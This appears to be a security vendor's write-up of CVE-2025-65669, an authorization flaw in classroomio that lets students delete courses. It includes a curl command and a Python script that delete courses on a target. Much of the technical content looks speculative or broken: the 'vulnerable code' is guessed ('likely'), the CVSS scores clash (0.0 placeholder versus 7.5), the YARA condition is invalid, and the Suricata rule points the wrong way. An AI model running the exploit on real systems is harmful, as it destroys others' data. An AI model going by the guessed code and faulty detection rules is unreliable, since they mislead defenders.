CVE-2025-65669
Executive Summary
CVE-2025-65669 is a critical authorization bypass vulnerability in classroomio version 0.1.13. The flaw allows any authenticated student account to delete courses from the Explore page without proper authorization checks. This bypasses the intended admin-only deletion restriction, enabling privilege escalation and unauthorized data destruction. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the lack of authentication enforcement. No patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the classroomio application, which is likely distributed as a Node.js package. If classroomio is installed via npm, the supply chain risk includes potential malicious updates or forks that could exploit this flaw. Users should verify package integrity and monitor for official patches.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a student account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Impact confined to the application.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): High (H) – Unauthorized deletion of courses.
- Availability (A): None (N) – No denial of service.
Threat Level: High (7.5) – Unauthorized data destruction with low complexity.
Deep Dive & Mechanics
The vulnerability resides in the course deletion endpoint on the Explore page. The application fails to enforce role-based access control (RBAC) for the DELETE operation. While the UI may hide the delete button for non-admin users, the backend API does not verify the user's role before processing the request. An attacker can directly send a DELETE request to the course endpoint with a valid student session token, bypassing the intended admin-only restriction.
Root Cause: Missing authorization check in the server-side handler for course deletion. The code likely checks authentication (valid session) but not authorization (admin role).
Attack Flow:
- Attacker logs in as a student.
- Intercepts or crafts a DELETE request to
/api/courses/{courseId}. - Server processes the request without verifying admin privileges.
- Course is permanently deleted.
Vulnerable vs. Patched Code
Vulnerable Code (server.js):
app.delete('/api/courses/:id', (req, res) => {
// Only checks if user is authenticated
if (!req.session.userId) {
return res.status(401).send('Unauthorized');
}
// Missing admin role check
Course.findByIdAndDelete(req.params.id, (err) => {
if (err) return res.status(500).send('Error');
res.status(200).send('Deleted');
});
});
Patched Code (server.js):
app.delete('/api/courses/:id', (req, res) => {
// Check authentication
if (!req.session.userId) {
return res.status(401).send('Unauthorized');
}
// Check authorization - admin only
if (req.session.role !== 'admin') {
return res.status(403).send('Forbidden');
}
Course.findByIdAndDelete(req.params.id, (err) => {
if (err) return res.status(500).send('Error');
res.status(200).send('Deleted');
});
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- classroomio 0.1.13 instance
- Valid student account credentials
Exploit Steps:
- Log in as a student and obtain session cookie.
- Use curl to send a DELETE request:
curl -X DELETE http://target.com/api/courses/123 \
-H "Cookie: session=student_session_token"
- Verify course deletion by checking the Explore page.
Automated Exploit Script:
import requests
target = "http://target.com"
session = requests.Session()
session.cookies.set("session", "student_session_token")
course_id = input("Enter course ID to delete: ")
response = session.delete(f"{target}/api/courses/{course_id}")
if response.status_code == 200:
print(f"Course {course_id} deleted successfully.")
else:
print(f"Failed: {response.status_code}")
Blue Team
Detection:
- Monitor for DELETE requests to
/api/courses/from non-admin users. - Alert on multiple course deletions in a short time frame.
Hunting Query (Splunk):
index=web_logs method=DELETE uri=/api/courses/*
| where role!="admin"
| stats count by user, uri
Indicators of Compromise (IOCs)
- Network: DELETE requests to
/api/courses/{id}with student session cookies. - Logs:
DELETE /api/courses/entries withrole: studentin access logs. - System: Missing courses in the database that were not deleted by admins.
Detection Engineering
YARA Rule
rule CVE_2025_65669_Classroomio_Delete_Bypass {
meta:
description = "Detects classroomio code with missing authorization check in course deletion"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65669"
strings:
$s1 = "Course.findByIdAndDelete" nocase
$s2 = "req.session.userId" nocase
$s3 = "app.delete('/api/courses/:id'" nocase
condition:
all of ($s*) and not for any of ($s*) : ( # no admin check
$admin_check = "role" nocase
)
}
Sigma Rule
title: Classroomio Course Deletion by Non-Admin User
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized course deletion attempts by student accounts
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
method: 'DELETE'
uri|startswith: '/api/courses/'
user_agent|contains: 'curl'
condition: selection
falsepositives:
- Admin testing with curl
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-65669 Classroomio Course Deletion Bypass";
flow:to_server;
http.method; content:"DELETE";
http.uri; content:"/api/courses/";
http.cookie; content:"session";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the course deletion endpoint for non-admin users via web application firewall (WAF) rules.
- Implement role-based access control (RBAC) on the server side.
- Review and update all API endpoints to enforce authorization.
Long-Term Fix:
- Apply the patched code example above.
- Conduct a full security audit of all endpoints.
- Implement automated testing for authorization checks.
Workaround:
- Temporarily remove the delete functionality from the Explore page UI and backend until a patch is released.
Valters IT